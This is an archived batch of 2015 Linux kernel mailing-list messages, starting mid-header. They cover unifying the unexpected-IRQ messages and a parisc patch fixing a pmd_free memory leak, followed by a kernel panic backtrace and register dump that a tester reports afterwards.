         I67QFRShrl27cY1BNqVt0jgRpH2+IfvLmQfdImdBoxZ1y+zCorcmc1bxLg8zNEV8Shp2
         c3QQzlqpoHKeWwzgt756H9rAMNiVE81lh3ZX0NnyUWYY9SDsUXpWzpyujo6lOsc7ZpLM
         kh3Q==
X-Gm-Message-State: ALoCoQkAEHqcsuFVcLB7XZHal/PSjqEKTOA27vQBFMVLcJKv9g79134Iom1p3k5dHX19GVuBu6/k
X-Received: by 10.194.87.102 with SMTP id w6mr12347243wjz.111.1436812529563;
 Mon, 13 Jul 2015 11:35:29 -0700 (PDT)
Original-Received: by 10.28.210.74 with HTTP; Mon, 13 Jul 2015 11:35:09 -0700 (PDT)
In-Reply-To: <20150713032303.D49801402B1@ozlabs.org>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:28371 gmane.linux.ports.mips.general:49380 gmane.linux.ports.ia64:25579 gmane.linux.ports.parisc:25833 gmane.linux.ports.sh.devel:47186 gmane.linux.kernel:1994957 gmane.linux.ports.alpha:3193 gmane.linux.ports.ppc64.devel:115156
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/28371>

On Sun, Jul 12, 2015 at 10:23 PM, Michael Ellerman <mpe@ellerman.id.au> wrote:
> On Sun, 2015-12-07 at 22:02:11 UTC, Bjorn Helgaas wrote:
>> Many architectures use a variant of "unexpected IRQ trap at vector %x" to
>> log unexpected IRQs.  This is confusing because (a) it prints the Linux IRQ
>> number, but "vector" more often refers to a CPU vector number, and (b) it
>> prints the IRQ number in hex with no base indication, while Linux IRQ
>> numbers are usually printed in decimal.
>>
>> Print the same text ("unexpected IRQ %d") across all architectures.
>>
>> No functional change other than the output text.
>
> There's already a fallback version in asm-generic, so shouldn't you instead
> just delete all the versions that are identical to that?
>
> eg. on powerpc we have:
>
>>  static inline void ack_bad_irq(unsigned int irq)
>>  {
>> -     printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
>> +     printk(KERN_CRIT "unexpected IRQ %d\n", irq);
>>  }
>
> And the generic version is:
>
>>  #ifndef ack_bad_irq
>>  static inline void ack_bad_irq(unsigned int irq)
>>  {
>> -     printk(KERN_CRIT "unexpected IRQ trap at vector %02x\n", irq);
>> +     printk(KERN_CRIT "unexpected IRQ %d\n", irq);
>>  }
>>  #endif
>
> So we can just delete the powerpc version?

Wow, I really didn't do my homework here.  Not only is there a generic
version already, but there's also print_irq_desc(), which prints way
more information than any of the ack_bad_irq() implementations.

I'll try again :)

Bjorn

From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached
 to the pgd
Date: Mon, 13 Jul 2015 20:52:37 +0200
Lines: 61
Approved: news@gmane.org
Message-ID: <55A408F5.601@gmx.de>
References: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1436813640 11472 80.91.229.3 (13 Jul 2015 18:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 13 Jul 2015 18:54:00 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	kernel-janitors@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	Meelis Roos <mroos@linux.ee>
To: Christophe JAILLET <christophe.jaillet@wanadoo.fr>,
	jejb@parisc-linux.org, mpatocka@redhat.com,
	kirill.shutemov@linux.intel.com
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jul 13 20:53:52 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZEirN-0002bu-EH
	for glk-linux-kernel-3@plane.gmane.org; Mon, 13 Jul 2015 20:53:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752808AbbGMSwt (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 13 Jul 2015 14:52:49 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:63911 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752042AbbGMSwr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 13 Jul 2015 14:52:47 -0400
Original-Received: from [192.168.20.60] ([92.203.13.140]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MBIAz-1Z58aU0kA1-00AEpH; Mon, 13 Jul 2015 20:52:43
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
X-Provags-ID: V03:K0:iA1Yd26MMXRG0qbQZ1bb/eWydBaGQwJq9r/k5BD19SYIdMW3q4/
 YAjDQJoabGSRW/An3T7K+XTFvedWdcgPK+/CBEnDvD3lbNdr511sP3HXiyw2tnpxy/itJqu
 8RGcrf826bPdFmKVioMHM+x8EcRYIyKymdwmRtwOYWiiCsNdehvs/4okULGH0U/HtGye8Z9
 Ibr1V394M618CntE4cqrA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:RSQLRLeBOM0=:350JgcbqTz2o4c4T/JDyba
 tHTpRCts+u9FxB/E75O7MAMHokgo+MqkdZPFitm7rg7JnqVMouLHa78XQREzg9hkQLzvUu+42
 b87g2cXfVr7c/lzV3n4WCZCQAQpd7k3zdQb2wp1CL/p/iqC+7zNekhJ51E8dya2ZcAJ6AQ4WQ
 d+f3U3/fCXq7jhaJMn0yjuz2TsE6bWX55mJ1q7/ks39Mon0kGlna1im16q5Y/X28joyR07vTT
 OzMtiuCxZLwqOErReBOOUZfBz6pSZ8SupoUO9yWcbYRFpl1O+5mipa8/mrnjAZ0DHpR/I722l
 nzQjXS2UKrHYzxbm0xeuTKet9bafKcrnHv1jtR06LO02d5+4bm3sr+0Vwlt/CeifZO5PKapCr
 x64GN7skCRgrKAGr1A7TvsQBnLOlRugPh5KzUk0kBAFC9Ik+zQj6pTohZs55e0XwEbF8gopBx
 iFF5tKdO5vaspu1YgsnOFt9/qDFVCgoUCIkPCx/u2399dLo53CbkVxKEzW+CkBLb8rG/Hvdw3
 fpPFGRKmAULC+9JocTxIYWF0P4nkHKxq9L49Q+uYdGjaNA0+QnUE/fhod/RMwAheNs+I0Reo+
 ureYt1Cqhkp0WZgPcDFdpxX4LLb/K4Wf2tgam8L/RCBIiXyt2S3QJeLxc/J+WT1+O5j9KQYSV
 2MshWVNAe/ss2meSd0WidZBWTeQO9A0vDRbKD5dwTFDoyEbeJtpQHf6YatpeSFeaJLeM=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1994971 gmane.linux.ports.parisc:25834 gmane.linux.kernel.janitors:34818
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1994971>

Hi Christophe,

On 13.07.2015 11:32, Christophe JAILLET wrote:
> Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
> introduced a memory leak.
>
> After this commit, the 'return' statement in pmd_free is executed in all
> cases. Even for pmd that are not attached to the pgd.
> So 'free_pages' can never be called anymore, leading to a memory leak.

That's really great!!! Thanks for spotting this!

I assume this fixes the leak which killed our debian buildds with OOM
after an uptime of 1-4 days and which only happened since kernel 4.0.
Meelis Roos reported the issue already in this thread:
http://marc.info/?l=linux-parisc&m=142999113232154&w=2

> Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>

Acked-by: Helge Deller <deller@gmx.de>


Will this patch be pushed via linux-mm or another tree, if
not I can take it via the parisc tree?


Helge


> ---
> This patch is *untested* as I don't have the hardware to test it.
>
> This is just a guess based on the indentation, the comment in the code
> and the commit log.
> ---
>   arch/parisc/include/asm/pgalloc.h | 3 ++-
>   1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
> index 3a08eae..f66d3738 100644
> --- a/arch/parisc/include/asm/pgalloc.h
> +++ b/arch/parisc/include/asm/pgalloc.h
> @@ -72,7 +72,7 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
>
>   static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>   {
> -	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
> +	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED) {
>   		/*
>   		 * This is the permanent pmd attached to the pgd;
>   		 * cannot free it.
> @@ -81,6 +81,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>   		 */
>   		mm_inc_nr_pmds(mm);
>   		return;
> +	}
>   	free_pages((unsigned long)pmd, PMD_ORDER);
>   }
>
>


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not
 attached to the pgd
Date: Tue, 14 Jul 2015 14:09:53 +0300
Lines: 11
Approved: news@gmane.org
Message-ID: <20150714110953.GB5835@mwanda>
References: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1436872253 15642 80.91.229.3 (14 Jul 2015 11:10:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jul 2015 11:10:53 +0000 (UTC)
Cc: jejb@parisc-linux.org, deller@gmx.de, mpatocka@redhat.com,
	kirill.shutemov@linux.intel.com, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org
To: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 14 13:10:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEy6i-0003Pl-Kl
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jul 2015 13:10:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753365AbbGNLKj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jul 2015 07:10:39 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:18865 "EHLO
	userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751830AbbGNLKi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jul 2015 07:10:38 -0400
Original-Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74])
	by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t6EBAKV4005706
	(version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 14 Jul 2015 11:10:21 GMT
Original-Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72])
	by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t6EBAKTv024804
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL);
	Tue, 14 Jul 2015 11:10:20 GMT
Original-Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21])
	by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t6EBAKhV030135;
	Tue, 14 Jul 2015 11:10:20 GMT
Original-Received: from mwanda (/154.0.139.178)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Tue, 14 Jul 2015 04:10:19 -0700
Content-Disposition: inline
In-Reply-To: <1436779963-4286-1-git-send-email-christophe.jaillet@wanadoo.fr>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Source-IP: userv0022.oracle.com [156.151.31.74]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25835 gmane.linux.kernel:1995634 gmane.linux.kernel.janitors:34827
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25835>

I assume you found this with Coccinelle?  Smatch can also find this bug
but you would need a cross compile environment set up.

regards,
dan carpenter

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached to the pgd
Date: Tue, 14 Jul 2015 07:52:12 -0400
Lines: 165
Approved: news@gmane.org
Message-ID: <BLU436-SMTP242FD91860D61AA98A01389979B0@phx.gbl>
References: <55A408F5.601@gmx.de> <55A4095E.4060200@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1436874750 23436 80.91.229.3 (14 Jul 2015 11:52:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jul 2015 11:52:30 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	"jejb@parisc-linux.org Bottomley" <jejb@parisc-linux.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Christophe JAILLET <christophe.jaillet@wanadoo.fr>,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 14 13:52:22 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEyl2-00006P-Fv
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jul 2015 13:52:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752069AbbGNLwS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jul 2015 07:52:18 -0400
Original-Received: from blu004-omc4s15.hotmail.com ([65.55.111.154]:52278 "EHLO
	BLU004-OMC4S15.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751503AbbGNLwQ convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jul 2015 07:52:16 -0400
Original-Received: from BLU436-SMTP242 ([65.55.111.135]) by BLU004-OMC4S15.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Tue, 14 Jul 2015 04:52:14 -0700
X-TMN: [IA/rCdh3Kls5ragF69RvLcFvj9R7379knsLVqLNa4LU=]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <55A4095E.4060200@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 14 Jul 2015 11:52:14.0283 (UTC) FILETIME=[867B19B0:01D0BE2B]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25836 gmane.linux.kernel:1995663
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25836>

Sadly, it appears we are not out of the woods yet:

mx3210 login: Backtrace:
 [<000000004021c904>] free_hot_cold_page+0x234/0x250
 [<000000004021c974>] free_hot_cold_page_list+0x54/0x90
 [<0000000040224f28>] release_pages+0x308/0x3f0
 [<0000000040226ae8>] __pagevec_release+0x58/0x78
 [<00000000402287f4>] invalidate_mapping_pages+0x244/0x258
 [<000000004029c284>] inode_lru_isolate+0x1e4/0x2b0
 [<0000000040240f34>] __list_lru_walk_one.isra.4+0xc4/0x1c0
 [<00000000402411bc>] list_lru_walk_one+0x64/0x80
 [<000000004029cc2c>] prune_icache_sb+0x54/0x88
 [<000000004027c564>] super_cache_scan+0x2a4/0x308
 [<0000000040228d6c>] shrink_slab+0x34c/0x408
 [<000000004022d23c>] shrink_zone+0x2bc/0x2c8
 [<000000004022e0d4>] kswapd+0x6a4/0xb70
 [<00000000401a5e14>] kthread+0x144/0x178
 [<0000000040145020>] end_fault_vector+0x20/0x28
 [<0000000014281000>] 0x14281000


Kernel Fault: Code=15 regs=000000007c749020 (Addr=0000000000001841)
CPU: 2 PID: 286 Comm: kswapd2 Not tainted 4.0.8+ #1
task: 000000007f75f528 ti: 000000007c748000 task.ti: 000000007c748000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001110 Not tainted
r00-03  000000ff0806ff0e 0000000000000000 0000000040766a40 000000007c748f00
r04-07  00000000406eac70 00000000421d1540 0000000000000040 0000000040766940
r08-11  ffffffffffffff80 0000000000000013 0000000000200200 0000000000100100
r12-15  0000000000000001 ffffffffffffffff 00000000407fd980 00000000427ea580
r16-19  0000000000000013 00000000427ea5b0 0000000000000002 00000000427ea5a0
r20-23  000000007c748ff0 0000000040766a40 0000000000000020 0000000040766980
r24-27  00000000421d1560 0000000000001839 0000000000000000 00000000406eac70
r28-31  0000000000000000 0000000000000000 000000007c749020 0000000000000040
sr00-03  0000000000b45800 0000000001060800 0000000000000000 0000000000b45800
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004021a11c 000000004021a120
 IIR: 0f3812d0    ISR: 0000000000000000  IOR: 0000000000001841
 CPU:        2   CR30: 000000007c748000 CR31: 572c033000297031
 ORIG_R28: 000000007c749210
 IAOQ[0]: free_pcppages_bulk+0x34c/0x470
 IAOQ[1]: free_pcppages_bulk+0x350/0x470
 RP(r2): 0x40766a40
Backtrace:
 [<000000004021c904>] free_hot_cold_page+0x234/0x250
 [<000000004021c974>] free_hot_cold_page_list+0x54/0x90
 [<0000000040224f28>] release_pages+0x308/0x3f0
 [<0000000040226ae8>] __pagevec_release+0x58/0x78
 [<00000000402287f4>] invalidate_mapping_pages+0x244/0x258
 [<000000004029c284>] inode_lru_isolate+0x1e4/0x2b0
 [<0000000040240f34>] __list_lru_walk_one.isra.4+0xc4/0x1c0
 [<00000000402411bc>] list_lru_walk_one+0x64/0x80
 [<000000004029cc2c>] prune_icache_sb+0x54/0x88
 [<000000004027c564>] super_cache_scan+0x2a4/0x308
 [<0000000040228d6c>] shrink_slab+0x34c/0x408
 [<000000004022d23c>] shrink_zone+0x2bc/0x2c8
 [<000000004022e0d4>] kswapd+0x6a4/0xb70
 [<00000000401a5e14>] kthread+0x144/0x178
 [<0000000040145020>] end_fault_vector+0x20/0x28
 [<0000000014281000>] 0x14281000

Kernel panic - not syncing: Kernel Fault
---[ end Kernel panic - not syncing: Kernel Fault

This is with:
Linux version 4.0.8+ (dave@mx3210) (gcc version 4.9.3 (GCC) ) #1 SMP Mon Jul 13 18:47:55 EDT 2015

Dave

On 2015-07-13, at 2:54 PM, Helge Deller wrote:

> COOL !!!
> I think this is our kernel 4.0 OOM bugfix !!
> 
> Helge
> 
> 
> -------- Forwarded Message --------
> Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached to the pgd
> Date: Mon, 13 Jul 2015 20:52:37 +0200
> From: Helge Deller <deller@gmx.de>
> To: Christophe JAILLET <christophe.jaillet@wanadoo.fr>, jejb@parisc-linux.org, mpatocka@redhat.com, kirill.shutemov@linux.intel.com
> CC: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org, kernel-janitors@vger.kernel.org, John David Anglin <dave.anglin@bell.net>, Meelis Roos <mroos@linux.ee>
> 
> Hi Christophe,
> 
> On 13.07.2015 11:32, Christophe JAILLET wrote:
>> Commit 0e0da48dee8d ("parisc: mm: don't count preallocated pmds")
>> introduced a memory leak.
>> 
>> After this commit, the 'return' statement in pmd_free is executed in all
>> cases. Even for pmd that are not attached to the pgd.
>> So 'free_pages' can never be called anymore, leading to a memory leak.
> 
> That's really great!!! Thanks for spotting this!
> 
> I assume this fixes the leak which killed our debian buildds with OOM
> after an uptime of 1-4 days and which only happened since kernel 4.0.
> Meelis Roos reported the issue already in this thread:
> http://marc.info/?l=linux-parisc&m=142999113232154&w=2
> 
>> Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
> 
> Acked-by: Helge Deller <deller@gmx.de>
> 
> 
> Will this patch be pushed via linux-mm or another tree, if
> not I can take it via the parisc tree?
> 
> 
> Helge
> 
> 
>> ---
>> This patch is *untested* as I don't have the hardware to test it.
>> 
>> This is just a guess based on the indentation, the comment in the code
>> and the commit log.
>> ---
>>  arch/parisc/include/asm/pgalloc.h | 3 ++-
>>  1 file changed, 2 insertions(+), 1 deletion(-)
>> 
>> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
>> index 3a08eae..f66d3738 100644
>> --- a/arch/parisc/include/asm/pgalloc.h
>> +++ b/arch/parisc/include/asm/pgalloc.h
>> @@ -72,7 +72,7 @@ static inline pmd_t *pmd_alloc_one(struct mm_struct *mm, unsigned long address)
>> 
>>  static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>>  {
>> -	if(pmd_flag(*pmd) & PxD_FLAG_ATTACHED)
>> +	if (pmd_flag(*pmd) & PxD_FLAG_ATTACHED) {
>>  		/*
>>  		 * This is the permanent pmd attached to the pgd;
>>  		 * cannot free it.
>> @@ -81,6 +81,7 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>>  		 */
>>  		mm_inc_nr_pmds(mm);
>>  		return;
>> +	}
>>  	free_pages((unsigned long)pmd, PMD_ORDER);
>>  }
>> 
>> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
> 

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: mm: Fix a memory leak related to pmd not attached to the pgd
Date: Tue, 14 Jul 2015 08:01:01 -0400
Lines: 185
Approved: news@gmane.org
Message-ID: <BLU436-SMTP93AAFE2533CA8B6DDB478E979B0@phx.gbl>
References: <55A408F5.601@gmx.de> <55A4095E.4060200@gmx.de> <BLU436-SMTP242FD91860D61AA98A01389979B0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1436875277 31858 80.91.229.3 (14 Jul 2015 12:01:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Jul 2015 12:01:17 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	"jejb@parisc-linux.org Bottomley" <jejb@parisc-linux.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Christophe JAILLET <christophe.jaillet@wanadoo.fr>,
	Linux Kernel list <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 14 14:01:07 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZEytW-0003AL-SW
	for glpp-linux-parisc@plane.gmane.org; Tue, 14 Jul 2015 14:01:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752181AbbGNMBG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Jul 2015 08:01:06 -0400
Original-Received: from blu004-omc4s4.hotmail.com ([65.55.111.143]:60045 "EHLO
	BLU004-OMC4S4.hotmail.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751988AbbGNMBF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Jul 2015 08:01:05 -0400
Original-Received: from BLU436-SMTP93 ([65.55.111.137]) by BLU004-OMC4S4.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Tue, 14 Jul 2015 05:01:04 -0700
X-TMN: [NHX8+stnHkVEzhsIAEGTx0pLO50uJK1owRqIh99Hqo8=]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <BLU436-SMTP242FD91860D61AA98A01389979B0@phx.gbl>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 14 Jul 2015 12:01:03.0507 (UTC) FILETIME=[C1EC4630:01D0BE2C]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25837 gmane.linux.kernel:1995668
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25837>

Faulting instruction is:
    4021a11c:   0f 38 12 d0     std r24,8(r25)

Register r25 is misaligned by 1.

Dave

On 2015-07-14, at 7:52 AM, John David Anglin wrote:

> Sadly, it appears we are not out of the woods yet:
> 
> mx3210 login: Backtrace:
> [<000000004021c904>] free_hot_cold_page+0x234/0x250
> [<000000004021c974>] free_hot_cold_page_list+0x54/0x90
> [<0000000040224f28>] release_pages+0x308/0x3f0
> [<0000000040226ae8>] __pagevec_release+0x58/0x78
> [<00000000402287f4>] invalidate_mapping_pages+0x244/0x258
> [<000000004029c284>] inode_lru_isolate+0x1e4/0x2b0
> [<0000000040240f34>] __list_lru_walk_one.isra.4+0xc4/0x1c0
> [<00000000402411bc>] list_lru_walk_one+0x64/0x80
> [<000000004029cc2c>] prune_icache_sb+0x54/0x88
> [<000000004027c564>] super_cache_scan+0x2a4/0x308
> [<0000000040228d6c>] shrink_slab+0x34c/0x408
> [<000000004022d23c>] shrink_zone+0x2bc/0x2c8
> [<000000004022e0d4>] kswapd+0x6a4/0xb70
> [<00000000401a5e14>] kthread+0x144/0x178
> [<0000000040145020>] end_fault_vector+0x20/0x28
> [<0000000014281000>] 0x14281000
> 
> 
> Kernel Fault: Code=15 regs=000000007c749020 (Addr=0000000000001841)
> CPU: 2 PID: 286 Comm: kswapd2 Not tainted 4.0.8+ #1
> task: 000000007f75f528 ti: 000000007c748000 task.ti: 000000007c748000
> 
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001101111111100001110 Not tainted
> r00-03  000000ff0806ff0e 0000000000000000 0000000040766a40 000000007c748f00
> r04-07  00000000406eac70 00000000421d1540 0000000000000040 0000000040766940
> r08-11  ffffffffffffff80 0000000000000013 0000000000200200 0000000000100100
> r12-15  0000000000000001 ffffffffffffffff 00000000407fd980 00000000427ea580
> r16-19  0000000000000013 00000000427ea5b0 0000000000000002 00000000427ea5a0
> r20-23  000000007c748ff0 0000000040766a40 0000000000000020 0000000040766980
> r24-27  00000000421d1560 0000000000001839 0000000000000000 00000000406eac70
> r28-31  0000000000000000 0000000000000000 000000007c749020 0000000000000040
> sr00-03  0000000000b45800 0000000001060800 0000000000000000 0000000000b45800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 000000004021a11c 000000004021a120
> IIR: 0f3812d0    ISR: 0000000000000000  IOR: 0000000000001841
> CPU:        2   CR30: 000000007c748000 CR31: 572c033000297031
> ORIG_R28: 000000007c749210
> IAOQ[0]: free_pcppages_bulk+0x34c/0x470
